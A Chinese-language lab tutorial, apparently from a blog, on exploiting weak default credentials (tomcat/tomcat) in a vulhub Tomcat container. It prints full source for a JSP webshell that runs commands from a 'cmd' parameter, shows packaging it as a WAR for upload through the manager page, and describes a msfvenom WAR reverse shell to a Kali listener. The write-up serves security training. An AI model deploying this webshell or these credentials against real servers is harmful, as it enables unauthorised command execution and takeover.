Tomcat弱口令漏洞

Tomcat弱口令漏洞



漏洞原理:传送门

实验环境

主机 角色 IP
centos8 漏洞靶机 192.168.1.80
kali msf生成木马,接收shell 192.168.1.128
windows10 攻击机 192.168.1.120

实验流程

开启漏洞靶机centos8

# 开启docker服务
service docker start
# 切换到vulhub目录
cd /usr/sbin/vulhub/tomcat/tomcat8
# 创建镜像
docker-compose build
# 开启镜像
docker-compose up -d

尝试访问漏洞页面:

Tomcat弱口令漏洞

如图所示,访问成功!

进入镜像配置文件查看初始密码:

# 进入镜像
docker exec -it 镜像id /bin/bash
# 切换到配置目录
cd /usr/local/tomcat/conf
# 查看配置文件
cat tomcat-users.xml

Tomcat弱口令漏洞

如图所示,可以看出tomcat管理页面的用户名和密码都是tomcat,存在明显的弱口令漏洞。

输入用户名和密码,成功登录到tomcat管理页面:

Tomcat弱口令漏洞

第一种方式上传webshell

准备一个木马文件shell.jsp

内容如下:

<%@
page language="java"
import="java.util.*,java.io.*"
pageEncoding = "UTF-8"
%>
<%!public static String excuteCmd(String c) {
	StringBuilder line = new StringBuilder();
	try {
		Process pro = Runtime.getRuntime().exec(c);
		BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
		String temp = null;
		while ((temp = buf.readLine()) != null){
			line.append(temp+"\\n");
		}
		buf.close();
	} catch (Exception e) {
		line.append(e.getMessage());
	}
	return line.toString();
}
%>
<%
if(!"".equals(request.getParameter("cmd"))){
	out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}else{
	out.println(":-)");
}
%>

在windows10的dos界面下,将shell.jsp打包为shell.war,用于javaweb包的热部署

打包命令为jar cvf shell.war shell.jsp

Tomcat弱口令漏洞

如下图所示,成功打包为shell.war:

Tomcat弱口令漏洞

将shell.war包上传到javaweb应用中:

Tomcat弱口令漏洞

如下图所示,上传并部署成功:

Tomcat弱口令漏洞

尝试访问木马文件,并传入命令参数:

Tomcat弱口令漏洞

如图所示,成功回显命令执行结果。


第二种方式msf反弹shell

在kali主机,利用msfvenom工具生成war文件木马:

LHOST=kali的IP

LPORT=kali的端口(任意)

Tomcat弱口令漏洞

如图所示,生成完毕。

将生成的木马文件下载下来到window主机:

Tomcat弱口令漏洞

如图所示,下载完毕:

Tomcat弱口令漏洞

将qianxun.war更改为qianxun.rar,并用压缩工具winrar打开:

Tomcat弱口令漏洞

Tomcat弱口令漏洞

如上图所示,在qianxun.war包中还有木马文件vzajtnpod.jsp,记下文件名后,将qianxun.rar重新改回为qianxun.war

将木马文件qianxun.war上传到javaweb应用中:

Tomcat弱口令漏洞

在kali主机上开启msfconsole监听:

Tomcat弱口令漏洞

在浏览器中访问该木马文件:

Tomcat弱口令漏洞

再回到kali,发现shell已被成功反弹:

Tomcat弱口令漏洞

至此,实验完毕。

上一篇:Windows搭建Sosoapi


下一篇:jenkins相关